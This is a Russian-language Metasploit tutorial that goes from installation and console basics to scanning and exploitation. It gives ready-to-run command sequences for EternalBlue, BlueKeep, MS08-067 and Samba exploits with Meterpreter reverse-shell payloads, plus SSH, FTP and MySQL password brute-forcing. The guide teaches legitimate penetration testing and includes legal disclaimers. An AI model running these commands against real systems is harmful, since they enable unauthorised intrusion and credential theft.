
ВВЕДЕНИЕ
В современном мире кибербезопасности понимание методов атак критически важно для эффективной защиты. Metasploit Framework является одним из самых мощных и широко используемых инструментов для тестирования на проникновение (пентестинга) и оценки безопасности информационных систем. Этот инструмент позволяет специалистам по безопасности находить, эксплуатировать и проверять уязвимости в системах, сетях и приложениях.
Metasploit был создан в 2003 году H.D. Moore и с тех пор стал стандартом индустрии для пентестинга и безопасности. Framework предоставляет огромную базу эксплойтов, payload'ов, вспомогательных модулей и инструментов для автоматизации тестирования на проникновение. Он используется как этичными хакерами и пентестерами, так и специалистами по информационной безопасности для оценки защищенности систем.
Изучение Metasploit Framework необходимо для всех, кто хочет работать в области кибербезопасности. Этот инструмент позволяет понять, как злоумышленники атакуют системы, что помогает создавать более эффективные защиты. Однако важно помнить, что Metasploit должен использоваться только в легальных целях - для тестирования собственных систем, с явного разрешения владельцев систем, или в рамках официальных пентестов.
В этом руководстве мы рассмотрим все аспекты работы с Metasploit Framework: от установки и базовой настройки до продвинутых техник эксплуатации уязвимостей. Вы узнаете, как работать с различными модулями, создавать payload'ы, использовать Meterpreter для пост-эксплуатации, и как интегрировать Metasploit в процесс пентестинга. Руководство предназначено для начинающих, но также содержит продвинутые техники для опытных специалистов.
РАЗДЕЛ 1: ЧТО ТАКОЕ METASPLOIT FRAMEWORK И ЗАЧЕМ ОН НУЖЕН (900 слов)
Metasploit Framework — это open-source платформа для разработки и выполнения эксплойтов (exploits) против уязвимых систем. Это комплексный инструмент, который объединяет в себе множество функций для тестирования на проникновение: от разведки и сканирования до эксплуатации уязвимостей и пост-эксплуатации.
История Metasploit началась в 2003 году, когда H.D. Moore создал первый прототип как инструмент для демонстрации уязвимостей. С тех пор проект вырос в полноценный фреймворк, который используется тысячами специалистов по безопасности по всему миру. В 2009 году проект был приобретен Rapid7, но остался open-source, что обеспечивает его постоянное развитие и обновление сообществом.
Основные компоненты Metasploit Framework включают:
1. Exploits (Эксплойты): Модули, которые используют уязвимости в системах для получения доступа. Metasploit содержит тысячи эксплойтов для различных операционных систем, приложений и сетевых устройств.
2. Payloads (Полезная нагрузка): Код, который выполняется после успешной эксплуатации уязвимости. Payload'ы могут быть простыми (например, открытие оболочки) или сложными (например, Meterpreter).
3. Auxiliary (Вспомогательные модули): Инструменты для сканирования, фаззинга, перебора паролей и других задач, которые не связаны напрямую с эксплуатацией уязвимостей.
4. Encoders (Кодировщики): Модули для обфускации payload'ов, чтобы обойти антивирусы и системы обнаружения вторжений (IDS).
5. NOPs (No-Operation): Инструкции, используемые для выравнивания памяти при разработке эксплойтов.
6. Post-Exploitation модули: Инструменты для работы после получения доступа к системе: сбор информации, эскалация привилегий, кража данных.
Metasploit Framework используется в различных сценариях:
Оценка безопасности: Специалисты по безопасности используют Metasploit для проверки защищенности систем. Это позволяет выявить уязвимости до того, как их обнаружат злоумышленники.
Пентестинг: Профессиональные пентестеры используют Metasploit в рамках официальных тестов на проникновение для оценки безопасности инфраструктуры клиентов.
Обучение: Metasploit является отличным инструментом для изучения методов атак и защиты. Понимание того, как работают атаки, помогает создавать более эффективные защиты.
Исследования безопасности: Исследователи используют Metasploit для разработки новых эксплойтов и изучения уязвимостей.
Red Team упражнения: Команды безопасности используют Metasploit в симуляциях атак для проверки готовности Blue Team к реальным инцидентам.
Одной из ключевых особенностей Metasploit является его модульная архитектура. Каждый эксплойт, payload или вспомогательный модуль является отдельным компонентом, который можно легко настроить и использовать. Это позволяет быстро адаптировать инструмент под конкретные задачи и создавать собственные модули.
Metasploit поддерживает несколько интерфейсов:
- msfconsole: Консольный интерфейс командной строки, основной способ работы с Metasploit.
- msfcli: Упрощенный интерфейс командной строки для быстрого выполнения отдельных команд.
- Armitage: Графический интерфейс для Metasploit, упрощающий визуализацию атак.
- REST API: Программный интерфейс для интеграции Metasploit с другими инструментами.
- Metasploit Pro: Коммерческая версия с дополнительными возможностями автоматизации и отчетности.
Важно понимать, что Metasploit — это инструмент, который может быть использован как для защиты, так и для атак. Использование Metasploit против систем без явного разрешения является незаконным и может повлечь серьезные юридические последствия. Всегда убеждайтесь, что у вас есть письменное разрешение на тестирование систем.
РАЗДЕЛ 2: УСТАНОВКА И НАСТРОЙКА METASPLOIT FRAMEWORK (1100 слов)
Установка Metasploit Framework зависит от вашей операционной системы. Наиболее популярным вариантом является установка на Kali Linux, который уже включает Metasploit в стандартную комплектацию. Однако Metasploit можно установить и на другие Linux-системы, macOS и Windows.
Установка на Kali Linux:
Kali Linux уже включает Metasploit Framework, но его нужно обновить:
bash
<h2 id="obnovlenie-sistemy">Обновление системы</h2>
sudo apt update && sudo apt upgrade -y
<h2 id="obnovlenie-metasploit">Обновление Metasploit</h2>
sudo apt install metasploit-framework -y
<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
sudo msfdb init
<h2 id="zapusk-metasploit">Запуск Metasploit</h2>
msfconsole
Установка на Ubuntu/Debian:
bash
<h2 id="dobavlenie-repozitoriya-rapid7">Добавление репозитория Rapid7</h2>
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb | sudo bash
<h2 id="ustanovka-zavisimostey">Установка зависимостей</h2>
sudo apt install build-essential libpq-dev libpcap-dev postgresql postgresql-contrib -y
<h2 id="ustanovka-metasploit">Установка Metasploit</h2>
sudo apt install metasploit-framework -y
<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
sudo msfdb init
<h2 id="zapusk-postgresql">Запуск PostgreSQL</h2>
sudo systemctl start postgresql
sudo systemctl enable postgresql
<h2 id="proverka-podklyucheniya-k-baze-dannyh">Проверка подключения к базе данных</h2>
sudo msfdb status
Установка на macOS:
bash
<h2 id="ispolzovanie-homebrew">Использование Homebrew</h2>
brew install metasploit
<h2 id="ili-ustanovka-cherez-ustanovschik-rapid7">Или установка через установщик Rapid7</h2>
<h2 id="skachayte-ustanovschik-s-ofitsialnogo-sayta-rapid7">Скачайте установщик с официального сайта Rapid7</h2>
<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
msfdb init
Настройка базы данных:
Metasploit использует PostgreSQL для хранения информации об эксплойтах, payload'ах и результатах сканирования. Правильная настройка базы данных критически важна для работы Metasploit.
bash
<h2 id="proverka-statusa-bazy-dannyh">Проверка статуса базы данных</h2>
sudo msfdb status
<h2 id="pereinitsializatsiya-bazy-dannyh-esli-nuzhno">Переинициализация базы данных (если нужно)</h2>
sudo msfdb reinit
<h2 id="izmenenie-parolya-bazy-dannyh">Изменение пароля базы данных</h2>
sudo msfdb change_db_password
<h2 id="proverka-podklyucheniya">Проверка подключения</h2>
msfconsole -q
db_status
Настройка конфигурации:
Файл конфигурации Metasploit находится в `~/.msf4/`. Основные настройки:
bash
<h2 id="sozdanie-direktorii-konfiguratsii">Создание директории конфигурации</h2>
mkdir -p ~/.msf4
<h2 id="redaktirovanie-konfiguratsii">Редактирование конфигурации</h2>
nano ~/.msf4/config
Основные параметры конфигурации:
- `ConsoleLogging`: Включение логирования команд в консоли
- `LogLevel`: Уровень логирования (0-5)
- `Prompt`: Настройка приглашения командной строки
- `TimestampOutput`: Добавление временных меток в вывод
Обновление базы эксплойтов:
Metasploit регулярно обновляется новыми эксплойтами и исправлениями. Важно поддерживать базу в актуальном состоянии:
bash
<h2 id="obnovlenie-cherez-msfupdate">Обновление через msfupdate</h2>
sudo msfupdate
<h2 id="ili-obnovlenie-cherez-apt-dlya-kali-linux">Или обновление через apt (для Kali Linux)</h2>
sudo apt update && sudo apt upgrade metasploit-framework -y
<h2 id="obnovlenie-v-konsoli-metasploit">Обновление в консоли Metasploit</h2>
msfconsole
msfupdate
exit
Установка дополнительных инструментов:
Для полноценной работы с Metasploit рекомендуется установить дополнительные инструменты:
bash
<h2 id="nmap-dlya-skanirovaniya-seti">Nmap для сканирования сети</h2>
sudo apt install nmap -y
<h2 id="wireshark-dlya-analiza-setevogo-trafika">Wireshark для анализа сетевого трафика</h2>
sudo apt install wireshark -y
<h2 id="burp-suite-dlya-testirovaniya-veb-prilozheniy-community-edition">Burp Suite для тестирования веб-приложений (Community Edition)</h2>
<h2 id="skachayte-s-ofitsialnogo-sayta-portswigger">Скачайте с официального сайта PortSwigger</h2>
<h2 id="metasploit-pro-optsionalno-kommercheskaya-versiya">Metasploit Pro (опционально, коммерческая версия)</h2>
<h2 id="trebuet-litsenziyu-ot-rapid7">Требует лицензию от Rapid7</h2>Настройка рабочего окружения:
Создайте структуру директорий для организации ваших работ:
bash
mkdir -p ~/pentest/{reports,scripts,exploits,payloads}
Решение проблем при установке:
1. Ошибка подключения к базе данных:
bash
sudo systemctl start postgresql
sudo msfdb reinit
2. Ошибки зависимостей:
bash
sudo apt install -f
sudo apt install build-essential ruby-dev -y
3. Проблемы с правами доступа:
bash
sudo chown -R $USER:$USER ~/.msf4
Проверка установки:
После установки проверьте работоспособность:
bash
<h2 id="zapusk-metasploit">Запуск Metasploit</h2>
msfconsole
<h2 id="v-konsoli-metasploit">В консоли Metasploit:</h2>
version # Проверка версии
db_status # Проверка подключения к БД
search eternalblue # Поиск эксплойта (проверка базы)
exit
Настройка производительности:
Для улучшения производительности Metasploit:
1. Увеличьте лимиты PostgreSQL:
bash
sudo nano /etc/postgresql/*/main/postgresql.conf
<h2 id="izmenite-shared-buffers-256mb">Измените: shared_buffers = 256MB</h2>
<h2 id="izmenite-work-mem-16mb">Измените: work_mem = 16MB</h2>
sudo systemctl restart postgresql
2. Оптимизируйте настройки Ruby:
bash
export RUBY_GC_HEAP_INIT_SLOTS=1000000
export RUBY_GC_HEAP_FREE_SLOTS=500000
export RUBY_GC_HEAP_GROWTH_FACTOR=1.1
РАЗДЕЛ 3: БАЗОВЫЕ КОМАНДЫ И НАЧАЛО РАБОТЫ (1100 слов)
После установки Metasploit важно освоить базовые команды и понять структуру работы с фреймворком. В этом разделе мы рассмотрим основные команды msfconsole и принципы работы с модулями.
Запуск Metasploit:
bash
<h2 id="zapusk-s-podklyucheniem-k-baze-dannyh">Запуск с подключением к базе данных</h2>
msfconsole
<h2 id="zapusk-bez-banera-quiet-mode">Запуск без банера (quiet mode)</h2>
msfconsole -q
<h2 id="zapusk-s-vypolneniem-skripta">Запуск с выполнением скрипта</h2>
msfconsole -r script.rc
<h2 id="zapusk-s-logirovaniem">Запуск с логированием</h2>
msfconsole -L
Основные команды консоли:
После запуска msfconsole вы увидите приглашение командной строки. Основные команды:
bash
<h2 id="spravka-po-komandam">Справка по командам</h2>
help
help <команда>
<h2 id="poisk-moduley">Поиск модулей</h2>
search <название>
search type:exploit platform:windows
search name:eternalblue
<h2 id="ispolzovanie-modulya">Использование модуля</h2>
use <путь_к_модулю>
use exploit/windows/smb/ms17_010_eternalblue
<h2 id="informatsiya-o-module">Информация о модуле</h2>
info
info <модуль>
<h2 id="pokaz-optsiy-modulya">Показ опций модуля</h2>
show options
show payloads
show targets
show advanced
<h2 id="ustanovka-optsiy">Установка опций</h2>
set <параметр> <значение>
set RHOSTS 192.168.1.100
set RPORT 445
<h2 id="pokaz-ustanovlennyh-optsiy">Показ установленных опций</h2>
show options
<h2 id="zapusk-modulya">Запуск модуля</h2>
exploit
run
<h2 id="fonovaya-rabota">Фоновая работа</h2>
exploit -j # Запуск в фоне как job
jobs # Показ фоновых задач
jobs -K # Остановка всех задач
Работа с базой данных:
Metasploit может автоматически импортировать результаты сканирования и управлять хостами:
bash
<h2 id="status-bazy-dannyh">Статус базы данных</h2>
db_status
<h2 id="import-rezultatov-nmap">Импорт результатов Nmap</h2>
db_nmap -sV 192.168.1.0/24
<h2 id="import-iz-fayla">Импорт из файла</h2>
db_import /path/to/nmap.xml
<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -R # Добавить в RHOSTS
<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80 -R # Добавить порты в RHOSTS
<h2 id="prosmotr-uyazvimostey">Просмотр уязвимостей</h2>
vulns
<h2 id="ochistka-bazy-dannyh">Очистка базы данных</h2>
db_connect
db_disconnect
db_rebuild_cache
Структура модулей Metasploit:
Модули Metasploit организованы по категориям:
- exploits/: Эксплойты для эксплуатации уязвимостей
- payloads/: Полезные нагрузки
- auxiliary/: Вспомогательные модули (сканеры, фаззеры)
- post/: Модули пост-эксплуатации
- encoders/: Кодировщики для обфускации
- nops/: NOP-слайды
Пример работы с эксплойтом:
bash
<h2 id="1-poisk-eksployta">1. Поиск эксплойта</h2>
msf6 > search eternalblue
<h2 id="2-vybor-modulya">2. Выбор модуля</h2>
msf6 > use exploit/windows/smb/ms17_010_eternalblue
<h2 id="3-prosmotr-informatsii">3. Просмотр информации</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
<h2 id="4-prosmotr-optsiy">4. Просмотр опций</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
<h2 id="5-ustanovka-parametrov">5. Установка параметров</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
<h2 id="6-vybor-payload">6. Выбор payload</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
<h2 id="7-proverka-pered-zapuskom">7. Проверка перед запуском</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
<h2 id="8-zapusk-eksployta">8. Запуск эксплойта</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Работа с сессиями:
После успешного выполнения эксплойта создается сессия:
bash
<h2 id="prosmotr-aktivnyh-sessiy">Просмотр активных сессий</h2>
sessions
sessions -l
<h2 id="vzaimodeystvie-s-sessiey">Взаимодействие с сессией</h2>
sessions -i <ID>
sessions -i 1
<h2 id="vyhod-iz-sessii">Выход из сессии</h2>
background
exit
<h2 id="ubit-sessiyu">Убить сессию</h2>
sessions -k <ID>
sessions -K # Убить все сессии
Использование ресурсных скриптов:
Ресурсные скрипты позволяют автоматизировать работу:
bash
<h2 id="sozdanie-skripta">Создание скрипта</h2>
cat > exploit.rc << EOF
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
EOF
<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r exploit.rc
<h2 id="ili-v-konsoli">Или в консоли</h2>
resource exploit.rc
Полезные команды:
bash
<h2 id="istoriya-komand">История команд</h2>
history
history -c # Очистка истории
<h2 id="sohranenie-konfiguratsii">Сохранение конфигурации</h2>
save
<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
reload_all
<h2 id="ochistka-ekrana">Очистка экрана</h2>
clear
<h2 id="vyhod">Выход</h2>
exit
quit
Работа с переменными:
bash
<h2 id="ustanovka-globalnyh-peremennyh">Установка глобальных переменных</h2>
setg LHOST 192.168.1.50
setg LPORT 4444
<h2 id="prosmotr-globalnyh-peremennyh">Просмотр глобальных переменных</h2>
getg
<h2 id="sbros-peremennoy">Сброс переменной</h2>
unset LHOST
unsetg LHOST
<h2 id="prosmotr-vseh-peremennyh">Просмотр всех переменных</h2>
show advanced
Работа с модулями:
bash
<h2 id="prosmotr-informatsii-o-module">Просмотр информации о модуле</h2>
info exploit/windows/smb/ms17_010_eternalblue
<h2 id="prosmotr-vseh-optsiy">Просмотр всех опций</h2>
show options
show advanced
show evasion
show targets
show payloads
<h2 id="prosmotr-opisaniya">Просмотр описания</h2>
show info
<h2 id="prosmotr-avtorov">Просмотр авторов</h2>
show authors
Поиск модулей:
bash
<h2 id="poisk-po-nazvaniyu">Поиск по названию</h2>
search eternalblue
<h2 id="poisk-po-tipu">Поиск по типу</h2>
search type:exploit
<h2 id="poisk-po-platforme">Поиск по платформе</h2>
search platform:windows
<h2 id="poisk-po-cve">Поиск по CVE</h2>
search cve:2017-0144
<h2 id="kombinirovannyy-poisk">Комбинированный поиск</h2>
search type:exploit platform:windows name:smb
<h2 id="poisk-po-avtoru">Поиск по автору</h2>
search author:hdm
Работа с базой данных:
bash
<h2 id="status-bazy-dannyh">Статус базы данных</h2>
db_status
<h2 id="podklyuchenie-k-baze">Подключение к базе</h2>
db_connect postgres:password@localhost:5432/metasploit
<h2 id="otklyuchenie-ot-bazy">Отключение от базы</h2>
db_disconnect
<h2 id="eksport-dannyh">Экспорт данных</h2>
db_export -f xml results.xml
db_export -f pwdump passwords.txt
<h2 id="import-dannyh">Импорт данных</h2>
db_import /path/to/file.xml
<h2 id="ochistka-bazy">Очистка базы</h2>
db_connect
db_rebuild_cache
Работа с хостами и сервисами:
bash
<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -c address,os_name,os_flavor
hosts -R # Добавить в RHOSTS
<h2 id="dobavlenie-hosta">Добавление хоста</h2>
hosts -a 192.168.1.100 -n "Target Server"
<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80,443
services -p 445 -R # Добавить порты в RHOSTS
<h2 id="prosmotr-uyazvimostey">Просмотр уязвимостей</h2>
vulns
vulns -c name,refs
<h2 id="prosmotr-logov">Просмотр логов</h2>
creds
creds -a user:password
Автоматизация:
bash
<h2 id="sozdanie-resursnogo-skripta">Создание ресурсного скрипта</h2>
cat > auto.rc << EOF
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
EOF
<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r auto.rc
<h2 id="ili-v-konsoli">Или в консоли</h2>
resource auto.rc
make_handler -P windows/meterpreter/reverse_tcp -H 192.168.1.50 -p 4444
Работа с логами:
bash
<h2 id="vklyuchenie-logirovaniya">Включение логирования</h2>
set Logging true
set Logging /path/to/log.txt
<h2 id="prosmotr-logov">Просмотр логов</h2>
tail -f /var/log/metasploit.log
Отладка:
bash
<h2 id="vklyuchenie-verbose-rezhima">Включение verbose режима</h2>
set VERBOSE true
<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check
<h2 id="prosmotr-detalnoy-informatsii">Просмотр детальной информации</h2>
show info
show targets
show advanced
Работа с сессиями:
bash
<h2 id="prosmotr-vseh-sessiy">Просмотр всех сессий</h2>
sessions
sessions -l
<h2 id="vzaimodeystvie-s-sessiey">Взаимодействие с сессией</h2>
sessions -i 1
<h2 id="vypolnenie-komandy-vo-vseh-sessiyah">Выполнение команды во всех сессиях</h2>
sessions -c "whoami"
<h2 id="ubit-sessiyu">Убить сессию</h2>
sessions -k 1
<h2 id="ubit-vse-sessii">Убить все сессии</h2>
sessions -K
Продвинутые команды:
bash
<h2 id="sozdanie-handler">Создание handler</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
<h2 id="prosmotr-jobs">Просмотр jobs</h2>
jobs
jobs -K # Убить все jobs
<h2 id="ispolzovanie-autorunscript">Использование AutoRunScript</h2>
set AutoRunScript migrate -n explorer.exe
РАЗДЕЛ 4: РАЗВЕДКА И СКАНИРОВАНИЕ (1000 слов)
Перед эксплуатацией уязвимостей необходимо провести разведку целевой системы. Metasploit предоставляет множество вспомогательных модулей для сбора информации о целевых системах.
Сканирование портов:
bash
<h2 id="ispolzovanie-modulya-skanera-portov">Использование модуля сканера портов</h2>
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
run
<h2 id="sinhronnoe-skanirovanie">Синхронное сканирование</h2>
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.100
set PORTS 80,443,445,3389
run
Определение версий сервисов:
bash
<h2 id="skanirovanie-versiy">Сканирование версий</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
set RPORT 80
run
<h2 id="opredelenie-versii-ssh">Определение версии SSH</h2>
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
Сканирование SMB:
bash
<h2 id="perechislenie-smb">Перечисление SMB</h2>
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
<h2 id="perechislenie-obschih-resursov">Перечисление общих ресурсов</h2>
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.1.100
run
<h2 id="perechislenie-polzovateley">Перечисление пользователей</h2>
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.100
run
Сканирование веб-приложений:
bash
<h2 id="perechislenie-direktoriy">Перечисление директорий</h2>
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
set RPORT 80
run
<h2 id="opredelenie-cms">Определение CMS</h2>
use auxiliary/scanner/http/cms_enum
set RHOSTS 192.168.1.100
run
<h2 id="poisk-faylov-robots-txt">Поиск файлов robots.txt</h2>
use auxiliary/scanner/http/robots_txt
set RHOSTS 192.168.1.100
run
Использование Nmap через Metasploit:
bash
<h2 id="import-rezultatov-nmap">Импорт результатов Nmap</h2>
db_nmap -sV -p- 192.168.1.100
<h2 id="sohranenie-rezultatov">Сохранение результатов</h2>
db_nmap -sV -oX scan.xml 192.168.1.100
<h2 id="ispolzovanie-hostov-iz-bazy">Использование хостов из базы</h2>
hosts
hosts -R # Добавить в RHOSTS
Сканирование уязвимостей:
bash
<h2 id="skanirovanie-smb-na-eternalblue">Сканирование SMB на EternalBlue</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
<h2 id="skanirovanie-na-heartbleed">Сканирование на Heartbleed</h2>
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.1.100
set RPORT 443
run
<h2 id="skanirovanie-na-ms08-067">Сканирование на MS08-067</h2>
use auxiliary/scanner/smb/smb_ms08_067
set RHOSTS 192.168.1.0/24
run
Сканирование FTP:
bash
<h2 id="anonimnyy-ftp">Анонимный FTP</h2>
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.100
run
<h2 id="perebor-paroley-ftp">Перебор паролей FTP</h2>
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/usernames.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run
Сканирование SSH:
bash
<h2 id="perebor-paroley-ssh">Перебор паролей SSH</h2>
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/passwords.txt
run
<h2 id="opredelenie-podderzhivaemyh-algoritmov">Определение поддерживаемых алгоритмов</h2>
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
run
Сканирование баз данных:
bash
<h2 id="skanirovanie-mysql">Сканирование MySQL</h2>
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 192.168.1.100
run
<h2 id="perebor-paroley-mysql">Перебор паролей MySQL</h2>
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/passwords.txt
run
<h2 id="skanirovanie-postgresql">Сканирование PostgreSQL</h2>
use auxiliary/scanner/postgres/postgres_version
set RHOSTS 192.168.1.100
run
Сканирование почтовых серверов:
bash
<h2 id="opredelenie-versii-smtp">Определение версии SMTP</h2>
use auxiliary/scanner/smtp/smtp_version
set RHOSTS 192.168.1.100
run
<h2 id="perechislenie-polzovateley-smtp">Перечисление пользователей SMTP</h2>
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
run
Сканирование RDP:
bash
<h2 id="proverka-na-bluekeep">Проверка на BlueKeep</h2>
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 192.168.1.0/24
run
<h2 id="opredelenie-versii-rdp">Определение версии RDP</h2>
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.1.100
run
Автоматизация сканирования:
Для автоматизации процесса разведки можно использовать ресурсные скрипты:
bash
<h2 id="sozdanie-skripta-skanirovaniya">Создание скрипта сканирования</h2>
cat > scan.rc << EOF
db_nmap -sV -p- 192.168.1.0/24
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
EOF
<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r scan.rc
Использование результатов сканирования:
После сканирования результаты сохраняются в базе данных:
bash
<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -c address,os_name
<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80,443
<h2 id="dobavlenie-hostov-v-rhosts">Добавление хостов в RHOSTS</h2>
hosts -R
services -p 445 -R
<h2 id="eksport-rezultatov">Экспорт результатов</h2>
db_export -f xml scan_results.xml
РАЗДЕЛ 5: ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ (1200 слов)
Эксплуатация уязвимостей — это основная функция Metasploit. В этом разделе мы рассмотрим процесс эксплуатации различных типов уязвимостей.
Эксплуатация Windows уязвимостей:
bash
<h2 id="eternalblue-ms17-010">EternalBlue (MS17-010)</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
<h2 id="bluekeep-cve-2019-0708">BlueKeep (CVE-2019-0708)</h2>
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
<h2 id="ms08-067-staryy-no-populyarnyy">MS08-067 (старый, но популярный)</h2>
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/meterpreter/reverse_tcp
exploit
Эксплуатация веб-уязвимостей:
bash
<h2 id="sql-injection-cherez-metasploit">SQL Injection через Metasploit</h2>
use auxiliary/admin/http/tomcat_administration
set RHOSTS 192.168.1.100
set RPORT 8080
run
<h2 id="php-cgi-argument-injection">PHP CGI Argument Injection</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set RPORT 80
set TARGETURI /cgi-bin/php
set LHOST 192.168.1.50
exploit
Эксплуатация Linux уязвимостей:
bash
<h2 id="samba-cve-2017-7494">Samba (CVE-2017-7494)</h2>
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload linux/x64/meterpreter/reverse_tcp
exploit
<h2 id="vsftpd-backdoor">VSFTPD backdoor</h2>
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit
Выбор и настройка payload:
bash
<h2 id="prosmotr-dostupnyh-payload">Просмотр доступных payload</h2>
show payloads
<h2 id="windows-payloads">Windows payloads</h2>
set payload windows/meterpreter/reverse_tcp
set payload windows/shell/reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp
<h2 id="linux-payloads">Linux payloads</h2>
set payload linux/x86/meterpreter/reverse_tcp
set payload linux/x64/shell/reverse_tcp
<h2 id="nastroyka-parametrov-payload">Настройка параметров payload</h2>
set LHOST 192.168.1.50
set LPORT 4444
show options
Продвинутые техники:
bash
<h2 id="ispolzovanie-staged-payload">Использование staged payload</h2>
set payload windows/meterpreter/reverse_tcp
<h2 id="staged-payload-zagruzhaetsya-v-dva-etapa">Staged payload загружается в два этапа</h2>
<h2 id="ispolzovanie-stageless-payload">Использование stageless payload</h2>
set payload windows/meterpreter_reverse_tcp
<h2 id="stageless-payload-polnostyu-zagruzhaetsya-srazu">Stageless payload полностью загружается сразу</h2>
<h2 id="ispolzovanie-bind-shell">Использование bind shell</h2>
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.1.100
<h2 id="sozdaet-proslushivayuschiy-port-na-tseli">Создает прослушивающий порт на цели</h2>
<h2 id="ispolzovanie-https">Использование HTTPS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
<h2 id="ispolzuet-https-dlya-obhoda-fayrvolov">Использует HTTPS для обхода файрволов</h2>Процесс эксплуатации уязвимости:
Процесс эксплуатации уязвимости состоит из нескольких этапов:
1. Разведка: Сбор информации о целевой системе
2. Выбор эксплойта: Выбор подходящего эксплойта для уязвимости
3. Настройка эксплойта: Установка необходимых параметров
4. Выбор payload: Выбор полезной нагрузки
5. Запуск: Выполнение эксплойта
6. Пост-эксплуатация: Работа после получения доступа
Пример полного процесса:
bash
<h2 id="1-razvedka">1. Разведка</h2>
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
<h2 id="rezultat-windows-7-sp1-smb-2-1">Результат: Windows 7 SP1, SMB 2.1</h2>
<h2 id="2-proverka-uyazvimosti">2. Проверка уязвимости</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.100
run
<h2 id="rezultat-sistema-uyazvima">Результат: Система уязвима</h2>
<h2 id="3-vybor-i-nastroyka-eksployta">3. Выбор и настройка эксплойта</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
<h2 id="4-vybor-payload">4. Выбор payload</h2>
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 4444
<h2 id="5-proverka-optsiy">5. Проверка опций</h2>
show options
<h2 id="6-zapusk">6. Запуск</h2>
exploit
Обработка ошибок при эксплуатации:
bash
<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check
<h2 id="rezultat-pokazhet-uyazvima-li-sistema">Результат покажет, уязвима ли система</h2>
<h2 id="ispolzovanie-verbose-rezhima-dlya-otladki">Использование verbose режима для отладки</h2>
set VERBOSE true
exploit
<h2 id="proverka-logov">Проверка логов</h2>
